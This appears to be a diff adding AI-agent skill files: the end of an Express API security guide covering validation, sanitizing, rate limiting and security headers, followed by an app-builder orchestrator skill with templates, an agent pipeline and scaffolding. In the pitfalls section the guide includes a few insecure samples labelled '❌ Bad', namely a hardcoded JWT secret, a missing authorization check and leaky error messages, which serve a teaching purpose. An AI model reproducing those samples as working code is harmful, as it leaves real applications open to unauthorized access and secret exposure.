+// ✅ Safe: Using Prisma ORM
+app.get('/api/users/:id', async (req, res) => {
+  const userId = parseInt(req.params.id);
+  
+  if (isNaN(userId)) {
+    return res.status(400).json({ 
+      error: 'Invalid user ID' 
+    });
+  }
+  
+  const user = await prisma.user.findUnique({
+    where: { id: userId },
+    select: {
+      id: true,
+      email: true,
+      name: true,
+      // Don't select sensitive fields
+    }
+  });
+  
+  if (!user) {
+    return res.status(404).json({ 
+      error: 'User not found' 
+    });
+  }
+  
+  res.json(user);
+});
+\`\`\`
+
+#### 3. Implement Request Validation with Zod
+
+\`\`\`javascript
+const { z } = require('zod');
+
+// Define validation schema
+const createUserSchema = z.object({
+  email: z.string().email('Invalid email format'),
+  password: z.string()
+    .min(8, 'Password must be at least 8 characters')
+    .regex(/[A-Z]/, 'Password must contain uppercase letter')
+    .regex(/[a-z]/, 'Password must contain lowercase letter')
+    .regex(/[0-9]/, 'Password must contain number'),
+  name: z.string()
+    .min(2, 'Name must be at least 2 characters')
+    .max(100, 'Name too long'),
+  age: z.number()
+    .int('Age must be an integer')
+    .min(18, 'Must be 18 or older')
+    .max(120, 'Invalid age')
+    .optional()
+});
+
+// Validation middleware
+function validateRequest(schema) {
+  return (req, res, next) => {
+    try {
+      schema.parse(req.body);
+      next();
+    } catch (error) {
+      res.status(400).json({
+        error: 'Validation failed',
+        details: error.errors
+      });
+    }
+  };
+}
+
+// Use validation
+app.post('/api/users', 
+  validateRequest(createUserSchema),
+  async (req, res) => {
+    // Input is validated at this point
+    const { email, password, name, age } = req.body;
+    
+    // Hash password
+    const passwordHash = await bcrypt.hash(password, 10);
+    
+    // Create user
+    const user = await prisma.user.create({
+      data: {
+        email,
+        passwordHash,
+        name,
+        age
+      }
+    });
+    
+    // Don't return password hash
+    const { passwordHash: _, ...userWithoutPassword } = user;
+    res.status(201).json(userWithoutPassword);
+  }
+);
+\`\`\`
+
+#### 4. Sanitize Output to Prevent XSS
+
+\`\`\`javascript
+const DOMPurify = require('isomorphic-dompurify');
+
+app.post('/api/comments', authenticateToken, async (req, res) => {
+  const { content } = req.body;
+  
+  // Validate
+  if (!content || content.length > 1000) {
+    return res.status(400).json({ 
+      error: 'Invalid comment content' 
+    });
+  }
+  
+  // Sanitize HTML to prevent XSS
+  const sanitizedContent = DOMPurify.sanitize(content, {
+    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
+    ALLOWED_ATTR: ['href']
+  });
+  
+  const comment = await prisma.comment.create({
+    data: {
+      content: sanitizedContent,
+      userId: req.user.userId
+    }
+  });
+  
+  res.status(201).json(comment);
+});
+\`\`\`
+
+### Validation Checklist
+
+- [ ] Validate all user inputs
+- [ ] Use parameterized queries or ORM
+- [ ] Validate data types (string, number, email, etc.)
+- [ ] Validate data ranges (min/max length, value ranges)
+- [ ] Sanitize HTML content
+- [ ] Escape special characters
+- [ ] Validate file uploads (type, size, content)
+- [ ] Use allowlists, not blocklists
+```
+
+
+### Example 3: Rate Limiting and DDoS Protection
+
+```markdown
+## Implementing Rate Limiting
+
+### Why Rate Limiting?
+
+- Prevent brute force attacks
+- Protect against DDoS
+- Prevent API abuse
+- Ensure fair usage
+- Reduce server costs
+
+### Implementation with Express Rate Limit
+
+\`\`\`javascript
+const rateLimit = require('express-rate-limit');
+const RedisStore = require('rate-limit-redis');
+const Redis = require('ioredis');
+
+// Create Redis client
+const redis = new Redis({
+  host: process.env.REDIS_HOST,
+  port: process.env.REDIS_PORT
+});
+
+// General API rate limit
+const apiLimiter = rateLimit({
+  store: new RedisStore({
+    client: redis,
+    prefix: 'rl:api:'
+  }),
+  windowMs: 15 * 60 * 1000, // 15 minutes
+  max: 100, // 100 requests per window
+  message: {
+    error: 'Too many requests, please try again later',
+    retryAfter: 900 // seconds
+  },
+  standardHeaders: true, // Return rate limit info in headers
+  legacyHeaders: false,
+  // Custom key generator (by user ID or IP)
+  keyGenerator: (req) => {
+    return req.user?.userId || req.ip;
+  }
+});
+
+// Strict rate limit for authentication endpoints
+const authLimiter = rateLimit({
+  store: new RedisStore({
+    client: redis,
+    prefix: 'rl:auth:'
+  }),
+  windowMs: 15 * 60 * 1000, // 15 minutes
+  max: 5, // Only 5 login attempts per 15 minutes
+  skipSuccessfulRequests: true, // Don't count successful logins
+  message: {
+    error: 'Too many login attempts, please try again later',
+    retryAfter: 900
+  }
+});
+
+// Apply rate limiters
+app.use('/api/', apiLimiter);
+app.use('/api/auth/login', authLimiter);
+app.use('/api/auth/register', authLimiter);
+
+// Custom rate limiter for expensive operations
+const expensiveLimiter = rateLimit({
+  windowMs: 60 * 60 * 1000, // 1 hour
+  max: 10, // 10 requests per hour
+  message: {
+    error: 'Rate limit exceeded for this operation'
+  }
+});
+
+app.post('/api/reports/generate', 
+  authenticateToken,
+  expensiveLimiter,
+  async (req, res) => {
+    // Expensive operation
+  }
+);
+\`\`\`
+
+### Advanced: Per-User Rate Limiting
+
+\`\`\`javascript
+// Different limits based on user tier
+function createTieredRateLimiter() {
+  const limits = {
+    free: { windowMs: 60 * 60 * 1000, max: 100 },
+    pro: { windowMs: 60 * 60 * 1000, max: 1000 },
+    enterprise: { windowMs: 60 * 60 * 1000, max: 10000 }
+  };
+  
+  return async (req, res, next) => {
+    const user = req.user;
+    const tier = user?.tier || 'free';
+    const limit = limits[tier];
+    
+    const key = \`rl:user:\${user.userId}\`;
+    const current = await redis.incr(key);
+    
+    if (current === 1) {
+      await redis.expire(key, limit.windowMs / 1000);
+    }
+    
+    if (current > limit.max) {
+      return res.status(429).json({
+        error: 'Rate limit exceeded',
+        limit: limit.max,
+        remaining: 0,
+        reset: await redis.ttl(key)
+      });
+    }
+    
+    // Set rate limit headers
+    res.set({
+      'X-RateLimit-Limit': limit.max,
+      'X-RateLimit-Remaining': limit.max - current,
+      'X-RateLimit-Reset': await redis.ttl(key)
+    });
+    
+    next();
+  };
+}
+
+app.use('/api/', authenticateToken, createTieredRateLimiter());
+\`\`\`
+
+### DDoS Protection with Helmet
+
+\`\`\`javascript
+const helmet = require('helmet');
+
+app.use(helmet({
+  // Content Security Policy
+  contentSecurityPolicy: {
+    directives: {
+      defaultSrc: ["'self'"],
+      styleSrc: ["'self'", "'unsafe-inline'"],
+      scriptSrc: ["'self'"],
+      imgSrc: ["'self'", 'data:', 'https:']
+    }
+  },
+  // Prevent clickjacking
+  frameguard: { action: 'deny' },
+  // Hide X-Powered-By header
+  hidePoweredBy: true,
+  // Prevent MIME type sniffing
+  noSniff: true,
+  // Enable HSTS
+  hsts: {
+    maxAge: 31536000,
+    includeSubDomains: true,
+    preload: true
+  }
+}));
+\`\`\`
+
+### Rate Limit Response Headers
+
+\`\`\`
+X-RateLimit-Limit: 100
+X-RateLimit-Remaining: 87
+X-RateLimit-Reset: 1640000000
+Retry-After: 900
+\`\`\`
+```
+
+## Best Practices
+
+### ✅ Do This
+
+- **Use HTTPS Everywhere** - Never send sensitive data over HTTP
+- **Implement Authentication** - Require authentication for protected endpoints
+- **Validate All Inputs** - Never trust user input
+- **Use Parameterized Queries** - Prevent SQL injection
+- **Implement Rate Limiting** - Protect against brute force and DDoS
+- **Hash Passwords** - Use bcrypt with salt rounds >= 10
+- **Use Short-Lived Tokens** - JWT access tokens should expire quickly
+- **Implement CORS Properly** - Only allow trusted origins
+- **Log Security Events** - Monitor for suspicious activity
+- **Keep Dependencies Updated** - Regularly update packages
+- **Use Security Headers** - Implement Helmet.js
+- **Sanitize Error Messages** - Don't leak sensitive information
+
+### ❌ Don't Do This
+
+- **Don't Store Passwords in Plain Text** - Always hash passwords
+- **Don't Use Weak Secrets** - Use strong, random JWT secrets
+- **Don't Trust User Input** - Always validate and sanitize
+- **Don't Expose Stack Traces** - Hide error details in production
+- **Don't Use String Concatenation for SQL** - Use parameterized queries
+- **Don't Store Sensitive Data in JWT** - JWTs are not encrypted
+- **Don't Ignore Security Updates** - Update dependencies regularly
+- **Don't Use Default Credentials** - Change all default passwords
+- **Don't Disable CORS Completely** - Configure it properly instead
+- **Don't Log Sensitive Data** - Sanitize logs
+
+## Common Pitfalls
+
+### Problem: JWT Secret Exposed in Code
+**Symptoms:** JWT secret hardcoded or committed to Git
+**Solution:**
+\`\`\`javascript
+// ❌ Bad
+const JWT_SECRET = 'my-secret-key';
+
+// ✅ Good
+const JWT_SECRET = process.env.JWT_SECRET;
+if (!JWT_SECRET) {
+  throw new Error('JWT_SECRET environment variable is required');
+}
+
+// Generate strong secret
+// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
+\`\`\`
+
+### Problem: Weak Password Requirements
+**Symptoms:** Users can set weak passwords like "password123"
+**Solution:**
+\`\`\`javascript
+const passwordSchema = z.string()
+  .min(12, 'Password must be at least 12 characters')
+  .regex(/[A-Z]/, 'Must contain uppercase letter')
+  .regex(/[a-z]/, 'Must contain lowercase letter')
+  .regex(/[0-9]/, 'Must contain number')
+  .regex(/[^A-Za-z0-9]/, 'Must contain special character');
+
+// Or use a password strength library
+const zxcvbn = require('zxcvbn');
+const result = zxcvbn(password);
+if (result.score < 3) {
+  return res.status(400).json({
+    error: 'Password too weak',
+    suggestions: result.feedback.suggestions
+  });
+}
+\`\`\`
+
+### Problem: Missing Authorization Checks
+**Symptoms:** Users can access resources they shouldn't
+**Solution:**
+\`\`\`javascript
+// ❌ Bad: Only checks authentication
+app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
+  await prisma.post.delete({ where: { id: req.params.id } });
+  res.json({ success: true });
+});
+
+// ✅ Good: Checks both authentication and authorization
+app.delete('/api/posts/:id', authenticateToken, async (req, res) => {
+  const post = await prisma.post.findUnique({
+    where: { id: req.params.id }
+  });
+  
+  if (!post) {
+    return res.status(404).json({ error: 'Post not found' });
+  }
+  
+  // Check if user owns the post or is admin
+  if (post.userId !== req.user.userId && req.user.role !== 'admin') {
+    return res.status(403).json({ 
+      error: 'Not authorized to delete this post' 
+    });
+  }
+  
+  await prisma.post.delete({ where: { id: req.params.id } });
+  res.json({ success: true });
+});
+\`\`\`
+
+### Problem: Verbose Error Messages
+**Symptoms:** Error messages reveal system details
+**Solution:**
+\`\`\`javascript
+// ❌ Bad: Exposes database details
+app.post('/api/users', async (req, res) => {
+  try {
+    const user = await prisma.user.create({ data: req.body });
+    res.json(user);
+  } catch (error) {
+    res.status(500).json({ error: error.message });
+    // Error: "Unique constraint failed on the fields: (`email`)"
+  }
+});
+
+// ✅ Good: Generic error message
+app.post('/api/users', async (req, res) => {
+  try {
+    const user = await prisma.user.create({ data: req.body });
+    res.json(user);
+  } catch (error) {
+    console.error('User creation error:', error); // Log full error
+    
+    if (error.code === 'P2002') {
+      return res.status(400).json({ 
+        error: 'Email already exists' 
+      });
+    }
+    
+    res.status(500).json({ 
+      error: 'An error occurred while creating user' 
+    });
+  }
+});
+\`\`\`
+
+## Security Checklist
+
+### Authentication & Authorization
+- [ ] Implement strong authentication (JWT, OAuth 2.0)
+- [ ] Use HTTPS for all endpoints
+- [ ] Hash passwords with bcrypt (salt rounds >= 10)
+- [ ] Implement token expiration
+- [ ] Add refresh token mechanism
+- [ ] Verify user authorization for each request
+- [ ] Implement role-based access control (RBAC)
+
+### Input Validation
+- [ ] Validate all user inputs
+- [ ] Use parameterized queries or ORM
+- [ ] Sanitize HTML content
+- [ ] Validate file uploads
+- [ ] Implement request schema validation
+- [ ] Use allowlists, not blocklists
+
+### Rate Limiting & DDoS Protection
+- [ ] Implement rate limiting per user/IP
+- [ ] Add stricter limits for auth endpoints
+- [ ] Use Redis for distributed rate limiting
+- [ ] Return proper rate limit headers
+- [ ] Implement request throttling
+
+### Data Protection
+- [ ] Use HTTPS/TLS for all traffic
+- [ ] Encrypt sensitive data at rest
+- [ ] Don't store sensitive data in JWT
+- [ ] Sanitize error messages
+- [ ] Implement proper CORS configuration
+- [ ] Use security headers (Helmet.js)
+
+### Monitoring & Logging
+- [ ] Log security events
+- [ ] Monitor for suspicious activity
+- [ ] Set up alerts for failed auth attempts
+- [ ] Track API usage patterns
+- [ ] Don't log sensitive data
+
+## OWASP API Security Top 10
+
+1. **Broken Object Level Authorization** - Always verify user can access resource
+2. **Broken Authentication** - Implement strong authentication mechanisms
+3. **Broken Object Property Level Authorization** - Validate which properties user can access
+4. **Unrestricted Resource Consumption** - Implement rate limiting and quotas
+5. **Broken Function Level Authorization** - Verify user role for each function
+6. **Unrestricted Access to Sensitive Business Flows** - Protect critical workflows
+7. **Server Side Request Forgery (SSRF)** - Validate and sanitize URLs
+8. **Security Misconfiguration** - Use security best practices and headers
+9. **Improper Inventory Management** - Document and secure all API endpoints
+10. **Unsafe Consumption of APIs** - Validate data from third-party APIs
+
+## Related Skills
+
+- `@ethical-hacking-methodology` - Security testing perspective
+- `@sql-injection-testing` - Testing for SQL injection
+- `@xss-html-injection` - Testing for XSS vulnerabilities
+- `@broken-authentication` - Authentication vulnerabilities
+- `@backend-dev-guidelines` - Backend development standards
+- `@systematic-debugging` - Debug security issues
+
+## Additional Resources
+
+- [OWASP API Security Top 10](https://owasp.org/www-project-api-security/)
+- [JWT Best Practices](https://tools.ietf.org/html/rfc8725)
+- [Express Security Best Practices](https://expressjs.com/en/advanced/best-practice-security.html)
+- [Node.js Security Checklist](https://blog.risingstack.com/node-js-security-checklist/)
+- [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist)
+
+---
+
+**Pro Tip:** Security is not a one-time task - regularly audit your APIs, keep dependencies updated, and stay informed about new vulnerabilities!

skills/app-builder/SKILL.md

@@ -0,0 +1,75 @@
+---
+name: app-builder
+description: Main application building orchestrator. Creates full-stack applications from natural language requests. Determines project type, selects tech stack, coordinates agents.
+allowed-tools: Read, Write, Edit, Glob, Grep, Bash, Agent
+---
+
+# App Builder - Application Building Orchestrator
+
+> Analyzes user's requests, determines tech stack, plans structure, and coordinates agents.
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY files relevant to the request!** Check the content map, find what you need.
+
+| File | Description | When to Read |
+|------|-------------|--------------|
+| `project-detection.md` | Keyword matrix, project type detection | Starting new project |
+| `tech-stack.md` | 2025 default stack, alternatives | Choosing technologies |
+| `agent-coordination.md` | Agent pipeline, execution order | Coordinating multi-agent work |
+| `scaffolding.md` | Directory structure, core files | Creating project structure |
+| `feature-building.md` | Feature analysis, error handling | Adding features to existing project |
+| `templates/SKILL.md` | **Project templates** | Scaffolding new project |
+
+---
+
+## 📦 Templates (13)
+
+Quick-start scaffolding for new projects. **Read the matching template only!**
+
+| Template | Tech Stack | When to Use |
+|----------|------------|-------------|
+| [nextjs-fullstack](templates/nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
+| [nextjs-saas](templates/nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
+| [nextjs-static](templates/nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
+| [nuxt-app](templates/nuxt-app/TEMPLATE.md) | Nuxt 3 + Pinia | Vue full-stack app |
+| [express-api](templates/express-api/TEMPLATE.md) | Express + JWT | REST API |
+| [python-fastapi](templates/python-fastapi/TEMPLATE.md) | FastAPI | Python API |
+| [react-native-app](templates/react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
+| [flutter-app](templates/flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform mobile |
+| [electron-desktop](templates/electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
+| [chrome-extension](templates/chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
+| [cli-tool](templates/cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
+| [monorepo-turborepo](templates/monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
+
+---
+
+## 🔗 Related Agents
+
+| Agent | Role |
+|-------|------|
+| `project-planner` | Task breakdown, dependency graph |
+| `frontend-specialist` | UI components, pages |
+| `backend-specialist` | API, business logic |
+| `database-architect` | Schema, migrations |
+| `devops-engineer` | Deployment, preview |
+
+---
+
+## Usage Example
+
+```
+User: "Make an Instagram clone with photo sharing and likes"
+
+App Builder Process:
+1. Project type: Social Media App
+2. Tech stack: Next.js + Prisma + Cloudinary + Clerk
+3. Create plan:
+   ├─ Database schema (users, posts, likes, follows)
+   ├─ API routes (12 endpoints)
+   ├─ Pages (feed, profile, upload)
+   └─ Components (PostCard, Feed, LikeButton)
+4. Coordinate agents
+5. Report progress
+6. Start preview
+```

skills/app-builder/agent-coordination.md

@@ -0,0 +1,71 @@
+# Agent Coordination
+
+> How App Builder orchestrates specialist agents.
+
+## Agent Pipeline
+
+```
+┌─────────────────────────────────────────────────────────────┐
+│                   APP BUILDER (Orchestrator)                 │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                     PROJECT PLANNER                          │
+│  • Task breakdown                                            │
+│  • Dependency graph                                          │
+│  • File structure planning                                   │
+│  • Create {task-slug}.md in project root (MANDATORY)             │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│              CHECKPOINT: PLAN VERIFICATION                   │
+│  🔴 VERIFY: Does {task-slug}.md exist in project root?       │
+│  🔴 If NO → STOP → Create plan file first                    │
+│  🔴 If YES → Proceed to specialist agents                    │
+└─────────────────────────────────────────────────────────────┘
+                              │
+          ┌───────────────────┼───────────────────┐
+          ▼                   ▼                   ▼
+┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
+│ DATABASE        │ │ BACKEND         │ │ FRONTEND        │
+│ ARCHITECT       │ │ SPECIALIST      │ │ SPECIALIST      │
+│                 │ │                 │ │                 │
+│ • Schema design │ │ • API routes    │ │ • Components    │
+│ • Migrations    │ │ • Controllers   │ │ • Pages         │
+│ • Seed data     │ │ • Middleware    │ │ • Styling       │
+└─────────────────┘ └─────────────────┘ └─────────────────┘
+          │                   │                   │
+          └───────────────────┼───────────────────┘
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                 PARALLEL PHASE (Optional)                    │
+│  • Security Auditor → Vulnerability check                   │
+│  • Test Engineer → Unit tests                               │
+│  • Performance Optimizer → Bundle analysis                  │
+└─────────────────────────────────────────────────────────────┘
+                              │
+                              ▼
+┌─────────────────────────────────────────────────────────────┐
+│                     DEVOPS ENGINEER                          │
+│  • Environment setup                                         │
+│  • Preview deployment                                        │
+│  • Health check                                              │
+└─────────────────────────────────────────────────────────────┘
+```
+
+## Execution Order
+
+| Phase | Agent(s) | Parallel? | Prerequisite | CHECKPOINT |
+|-------|----------|-----------|--------------|------------|
+| 0 | Socratic Gate | ❌ | - | ✅ Ask 3 questions |
+| 1 | Project Planner | ❌ | Questions answered | ✅ **PLAN.md created** |
+| 1.5 | **PLAN VERIFICATION** | ❌ | PLAN.md exists | ✅ **File exists in root** |
+| 2 | Database Architect | ❌ | Plan ready | Schema defined |
+| 3 | Backend Specialist | ❌ | Schema ready | API routes created |
+| 4 | Frontend Specialist | ✅ | API ready (partial) | UI components ready |
+| 5 | Security Auditor, Test Engineer | ✅ | Code ready | Tests & audit pass |
+| 6 | DevOps Engineer | ❌ | All code ready | Deployment ready |
+
+> 🔴 **CRITICAL:** Phase 1.5 is MANDATORY. No specialist agents proceed without PLAN.md verification.

skills/app-builder/feature-building.md

@@ -0,0 +1,53 @@
+# Feature Building
+
+> How to analyze and implement new features.
+
+## Feature Analysis
+
+```
+Request: "add payment system"
+
+Analysis:
+├── Required Changes:
+│   ├── Database: orders, payments tables
+│   ├── Backend: /api/checkout, /api/webhooks/stripe
+│   ├── Frontend: CheckoutForm, PaymentSuccess
+│   └── Config: Stripe API keys
+│
+├── Dependencies:
+│   ├── stripe package
+│   └── Existing user authentication
+│
+└── Estimated Time: 15-20 minutes
+```
+
+## Iterative Enhancement Process
+
+```
+1. Analyze existing project
+2. Create change plan
+3. Present plan to user
+4. Get approval
+5. Apply changes
+6. Test
+7. Show preview
+```
+
+## Error Handling
+
+| Error Type | Solution Strategy |
+|------------|-------------------|
+| TypeScript Error | Fix type, add missing import |
+| Missing Dependency | Run npm install |
+| Port Conflict | Suggest alternative port |
+| Database Error | Check migration, validate connection |
+
+## Recovery Strategy
+
+```
+1. Detect error
+2. Try automatic fix
+3. If failed, report to user
+4. Suggest alternative
+5. Rollback if necessary
+```

skills/app-builder/project-detection.md

@@ -0,0 +1,34 @@
+# Project Type Detection
+
+> Analyze user requests to determine project type and template.
+
+## Keyword Matrix
+
+| Keywords | Project Type | Template |
+|----------|--------------|----------|
+| blog, post, article | Blog | astro-static |
+| e-commerce, product, cart, payment | E-commerce | nextjs-saas |
+| dashboard, panel, management | Admin Dashboard | nextjs-fullstack |
+| api, backend, service, rest | API Service | express-api |
+| python, fastapi, django | Python API | python-fastapi |
+| mobile, android, ios, react native | Mobile App (RN) | react-native-app |
+| flutter, dart | Mobile App (Flutter) | flutter-app |
+| portfolio, personal, cv | Portfolio | nextjs-static |
+| crm, customer, sales | CRM | nextjs-fullstack |
+| saas, subscription, stripe | SaaS | nextjs-saas |
+| landing, promotional, marketing | Landing Page | nextjs-static |
+| docs, documentation | Documentation | astro-static |
+| extension, plugin, chrome | Browser Extension | chrome-extension |
+| desktop, electron | Desktop App | electron-desktop |
+| cli, command line, terminal | CLI Tool | cli-tool |
+| monorepo, workspace | Monorepo | monorepo-turborepo |
+
+## Detection Process
+
+```
+1. Tokenize user request
+2. Extract keywords
+3. Determine project type
+4. Detect missing information → forward to conversation-manager
+5. Suggest tech stack
+```

skills/app-builder/scaffolding.md

@@ -0,0 +1,118 @@
+# Project Scaffolding
+
+> Directory structure and core files for new projects.
+
+---
+
+## Next.js Full-Stack Structure (2025 Optimized)
+
+```
+project-name/
+├── src/
+│   ├── app/                        # Routes only (thin layer)
+│   │   ├── layout.tsx
+│   │   ├── page.tsx
+│   │   ├── globals.css
+│   │   ├── (auth)/                 # Route group - auth pages
+│   │   │   ├── login/page.tsx
+│   │   │   └── register/page.tsx
+│   │   ├── (dashboard)/            # Route group - dashboard layout
+│   │   │   ├── layout.tsx
+│   │   │   └── page.tsx
+│   │   └── api/
+│   │       └── [resource]/route.ts
+│   │
+│   ├── features/                   # Feature-based modules
+│   │   ├── auth/
+│   │   │   ├── components/
+│   │   │   ├── hooks/
+│   │   │   ├── actions.ts          # Server Actions
+│   │   │   ├── queries.ts          # Data fetching
+│   │   │   └── types.ts
+│   │   ├── products/
+│   │   │   ├── components/
+│   │   │   ├── actions.ts
+│   │   │   └── queries.ts
+│   │   └── cart/
+│   │       └── ...
+│   │
+│   ├── shared/                     # Shared utilities
+│   │   ├── components/ui/          # Reusable UI components
+│   │   ├── lib/                    # Utils, helpers
+│   │   └── hooks/                  # Global hooks
+│   │
+│   └── server/                     # Server-only code
+│       ├── db/                     # Database client (Prisma)
+│       ├── auth/                   # Auth config
+│       └── services/               # External API integrations
+│
+├── prisma/
+│   ├── schema.prisma
+│   ├── migrations/
+│   └── seed.ts
+│
+├── public/
+├── .env.example
+├── .env.local
+├── package.json
+├── tailwind.config.ts
+├── tsconfig.json
+└── README.md
+```
+
+---
+
+## Structure Principles
+
+| Principle | Implementation |
+|-----------|----------------|
+| **Feature isolation** | Each feature in `features/` with its own components, hooks, actions |
+| **Server/Client separation** | Server-only code in `server/`, prevents accidental client imports |
+| **Thin routes** | `app/` only for routing, logic lives in `features/` |
+| **Route groups** | `(groupName)/` for layout sharing without URL impact |
+| **Shared code** | `shared/` for truly reusable UI and utilities |
+
+---
+
+## Core Files
+
+| File | Purpose |
+|------|---------|
+| `package.json` | Dependencies |
+| `tsconfig.json` | TypeScript + path aliases (`@/features/*`) |
+| `tailwind.config.ts` | Tailwind config |
+| `.env.example` | Environment template |
+| `README.md` | Project documentation |
+| `.gitignore` | Git ignore rules |
+| `prisma/schema.prisma` | Database schema |
+
+---
+
+## Path Aliases (tsconfig.json)
+
+```json
+{
+  "compilerOptions": {
+    "paths": {
+      "@/*": ["./src/*"],
+      "@/features/*": ["./src/features/*"],
+      "@/shared/*": ["./src/shared/*"],
+      "@/server/*": ["./src/server/*"]
+    }
+  }
+}
+```
+
+---
+
+## When to Use What
+
+| Need | Location |
+|------|----------|
+| New page/route | `app/(group)/page.tsx` |
+| Feature component | `features/[name]/components/` |
+| Server action | `features/[name]/actions.ts` |
+| Data fetching | `features/[name]/queries.ts` |
+| Reusable button/input | `shared/components/ui/` |
+| Database query | `server/db/` |
+| External API call | `server/services/` |

skills/app-builder/tech-stack.md

@@ -0,0 +1,40 @@
+# Tech Stack Selection (2025)
+
+> Default and alternative technology choices for web applications.
+
+## Default Stack (Web App - 2025)
+
+```yaml
+Frontend:
+  framework: Next.js 16 (Stable)
+  language: TypeScript 5.7+
+  styling: Tailwind CSS v4
+  state: React 19 Actions / Server Components
+  bundler: Turbopack (Stable for Dev)
+
+Backend:
+  runtime: Node.js 23
+  framework: Next.js API Routes / Hono (for Edge)
+  validation: Zod / TypeBox
+
+Database:
+  primary: PostgreSQL
+  orm: Prisma / Drizzle
+  hosting: Supabase / Neon
+
+Auth:
+  provider: Auth.js (v5) / Clerk
+
+Monorepo:
+  tool: Turborepo 2.0
+```
+
+## Alternative Options
+
+| Need | Default | Alternative |
+|------|---------|-------------|
+| Real-time | - | Supabase Realtime, Socket.io |
+| File storage | - | Cloudinary, S3 |
+| Payment | Stripe | LemonSqueezy, Paddle |
+| Email | - | Resend, SendGrid |
+| Search | - | Algolia, Typesense |

skills/app-builder/templates/SKILL.md

@@ -0,0 +1,39 @@
+---
+name: templates
+description: Project scaffolding templates for new applications. Use when creating new projects from scratch. Contains 12 templates for various tech stacks.
+allowed-tools: Read, Glob, Grep
+---
+
+# Project Templates
+
+> Quick-start templates for scaffolding new projects.
+
+---
+
+## 🎯 Selective Reading Rule
+
+**Read ONLY the template matching user's project type!**
+
+| Template | Tech Stack | When to Use |
+|----------|------------|-------------|
+| [nextjs-fullstack](nextjs-fullstack/TEMPLATE.md) | Next.js + Prisma | Full-stack web app |
+| [nextjs-saas](nextjs-saas/TEMPLATE.md) | Next.js + Stripe | SaaS product |
+| [nextjs-static](nextjs-static/TEMPLATE.md) | Next.js + Framer | Landing page |
+| [express-api](express-api/TEMPLATE.md) | Express + JWT | REST API |
+| [python-fastapi](python-fastapi/TEMPLATE.md) | FastAPI | Python API |
+| [react-native-app](react-native-app/TEMPLATE.md) | Expo + Zustand | Mobile app |
+| [flutter-app](flutter-app/TEMPLATE.md) | Flutter + Riverpod | Cross-platform |
+| [electron-desktop](electron-desktop/TEMPLATE.md) | Electron + React | Desktop app |
+| [chrome-extension](chrome-extension/TEMPLATE.md) | Chrome MV3 | Browser extension |
+| [cli-tool](cli-tool/TEMPLATE.md) | Node.js + Commander | CLI app |
+| [monorepo-turborepo](monorepo-turborepo/TEMPLATE.md) | Turborepo + pnpm | Monorepo |
+| [astro-static](astro-static/TEMPLATE.md) | Astro + MDX | Blog / Docs |
+
+---
+
+## Usage
+
+1. User says "create [type] app"
+2. Match to appropriate template
+3. Read ONLY that template's TEMPLATE.md
+4. Follow its tech stack and structure

skills/app-builder/templates/astro-static/TEMPLATE.md

@@ -0,0 +1,76 @@
+---
+name: astro-static
+description: Astro static site template principles. Content-focused websites, blogs, documentation.
+---
+
+# Astro Static Site Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Framework | Astro 4.x |
+| Content | MDX + Content Collections |
+| Styling | Tailwind CSS |
+| Integrations | Sitemap, RSS, SEO |
+| Output | Static/SSG |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── components/      # .astro components
+│   ├── content/         # MDX content
+│   │   ├── blog/
+│   │   └── config.ts    # Collection schemas
+│   ├── layouts/         # Page layouts
+│   ├── pages/           # File-based routing
+│   └── styles/
+├── public/              # Static assets
+├── astro.config.mjs
+└── package.json
+```
+
+---
+
+## Key Concepts
+
+| Concept | Description |
+|---------|-------------|
+| Content Collections | Type-safe content with Zod schemas |
+| Islands Architecture | Partial hydration for interactivity |
+| Zero JS by default | Static HTML unless needed |
+| MDX Support | Markdown with components |
+
+---
+
+## Setup Steps
+
+1. `npm create astro@latest {{name}}`
+2. Add integrations: `npx astro add mdx tailwind sitemap`
+3. Configure `astro.config.mjs`
+4. Create content collections
+5. `npm run dev`
+
+---
+
+## Deployment
+
+| Platform | Method |
+|----------|--------|
+| Vercel | Auto-detected |
+| Netlify | Auto-detected |
+| Cloudflare Pages | Auto-detected |
+| GitHub Pages | Build + deploy action |
+
+---
+
+## Best Practices
+
+- Use Content Collections for type safety
+- Leverage static generation
+- Add islands only where needed
+- Optimize images with Astro Image

skills/app-builder/templates/chrome-extension/TEMPLATE.md

@@ -0,0 +1,92 @@
+---
+name: chrome-extension
+description: Chrome Extension template principles. Manifest V3, React, TypeScript.
+---
+
+# Chrome Extension Template
+
+## Tech Stack
+
+| Component | Technology |
+|-----------|------------|
+| Manifest | V3 |
+| UI | React 18 |
+| Language | TypeScript |
+| Styling | Tailwind CSS |
+| Bundler | Vite |
+| Storage | Chrome Storage API |
+
+---
+
+## Directory Structure
+
+```
+project-name/
+├── src/
+│   ├── popup/           # Extension popup
+│   ├── options/         # Options page
+│   ├── background/      # Service worker
+│   ├── content/         # Content scripts
+│   ├── components/
+│   ├── hooks/
+│   └── lib/
+│       ├── storage.ts   # Chrome storage helpers
+│       └── messaging.ts # Message passing
+├── public/
+│   ├── icons/
+│   └── manifest.json
+└── package.json
+```
+
+---
+
+## Manifest V3 Concepts
+
+| Component | Purpose |
+|-----------|---------|
+| Service Worker | Background processing |
+| Content Scripts | Page injection |
+| Popup | User interface |
+| Options Page | Settings |
+
+---
+
+## Permissions
+
+| Permission | Use |
+|------------|-----|
+| storage | Save user data |
+| activeTab | Current tab access |
+| scripting | Inject scripts |
+| host_permissions | Site access |
+
+---
+
